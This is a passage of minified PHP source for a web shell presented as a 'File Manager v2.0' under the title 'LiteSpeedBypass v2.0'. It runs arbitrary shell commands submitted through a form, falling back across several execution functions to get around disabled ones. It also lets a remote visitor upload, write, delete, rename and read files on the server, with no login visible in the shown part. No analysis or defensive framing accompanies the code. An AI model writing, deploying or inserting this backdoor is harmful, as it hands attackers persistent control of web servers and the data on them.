=1073741824)return nf($b/1073741824).' GB';if($b>=1048576)return nf($b/1048576).' MB';if($b>=1024)return nf($b/1024).' KB';return $b.' B';} function getOwner($p){$u=@fileowner($p);if($u===false)return'—';if(function_exists('posix_getpwuid')){$i=posix_getpwuid($u);return $i?hsc($i['name']):$u;}return $u;} function runCmd($cmd){ $out='';$err='';$mt=''; if(function_exists('proc_open')){$ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=proc_open($cmd,$ds,$pp);if(is_resource($p)){$out=stream_get_contents($pp[1]);$err=stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);$mt='proc_open';}} elseif(function_exists('shell_exec')){$out=(string)shell_exec($cmd.' 2>&1');$mt='shell_exec';} elseif(function_exists('exec')){exec($cmd.' 2>&1',$lines);$out=implode("\n",$lines);$mt='exec';} elseif(function_exists('system')){ob_start();system($cmd.' 2>&1');$out=ob_get_clean();$mt='system';} elseif(function_exists('passthru')){ob_start();passthru($cmd.' 2>&1');$out=ob_get_clean();$mt='passthru';} return['out'=>$out,'err'=>$err,'mt'=>$mt];} date_default_timezone_set(date_default_timezone_get()); $S=dirname(realpath(__FILE__)); foreach($_GET as $k=>$v)$_GET[$k]=y($v); $D=safePath(isset($_GET['d']) && $_GET['d']!=='' ? $_GET['d'] : $S, $S); if(!@chdir($D)){$D=$S;@chdir($D);} $sm='';$vr=''; if($_SERVER['REQUEST_METHOD']==='POST'){ if(isset($_FILES['fileToUpload'])){ $t=$D.'/'.basename($_FILES['fileToUpload']['name']); $sm=move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$t) ?'
✓ File "'.hsc(basename($_FILES['fileToUpload']['name'])).'" uploaded.
' :'
✗ Upload failed.
'; }elseif(!empty($_POST['folder_name'])){ $nf=$D.'/'.$_POST['folder_name']; $sm=!file_exists($nf)&&mkdir($nf)?'
✓ Folder created.
':'
✗ Failed or exists.
'; }elseif(!empty($_POST['file_name'])){ $nf=$D.'/'.$_POST['file_name'];$vb=file_exists($nf)?'edited':'created'; $sm=file_put_contents($nf,$_POST['file_content'])!==false?'
✓ File '.$vb.'.
':'
✗ Save failed.
'; }elseif(isset($_POST['delete_file'])){ $t=$D.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDir($t):unlink($t);$sm=$ok?'
✓ Deleted.
':'
✗ Delete failed.
';} else $sm='
✗ Not found.
'; }elseif(isset($_POST['rename_item'],$_POST['old_name'],$_POST['new_name'])){ $o=$D.'/'.$_POST['old_name'];$n=$D.'/'.$_POST['new_name']; $sm=file_exists($o)?(rename($o,$n)?'
✓ Renamed.
':'
✗ Rename failed.
'):'
✗ Not found.
'; }elseif(isset($_POST['cmd_input'])){ $r=runCmd($_POST['cmd_input']); if($r['mt']===''){$vr='
✗ All exec functions disabled.
';} else{$lbl=!empty($r['err'])?'Err':'Out';$cnt=hsc(!empty($r['err'])?$r['err']:$r['out']); $vr='
'.hsc($_POST['cmd_input']).' '.$r['mt'].''.$lbl.'
'.$cnt.'
';} }elseif(isset($_POST['view_file'])){ $f=$D.'/'.$_POST['view_file']; $vr=file_exists($f)?'
📄 '.hsc($_POST['view_file']).'
'.hsc(file_get_contents($f)).'
':'
✗ File not found.
'; }} $dirs=array();$files=array(); if(!empty($D)&&is_dir($D)){$raw=@scandir($D);if($raw){foreach(array_diff($raw,array('.','..'))as $i){if(@is_dir($D.'/'.$i))$dirs[]=$i;else $files[]=$i;}}} natcasesort($dirs);natcasesort($files); $items=array_merge(array_values($dirs),array_values($files)); ?> FM — <?=hsc(basename($D))?>

LiteSpeedBypass v2.0

· PHP · ·
📍 / '.hsc($pt).' ';} ?>⌂ Home
NameOwnerSizeModifiedPermsActions
DIR';?>
File Manager v2.0 · folder, file

📁 New Folder

📄 Create/Edit File

⬆ Upload File

⚡ Run Command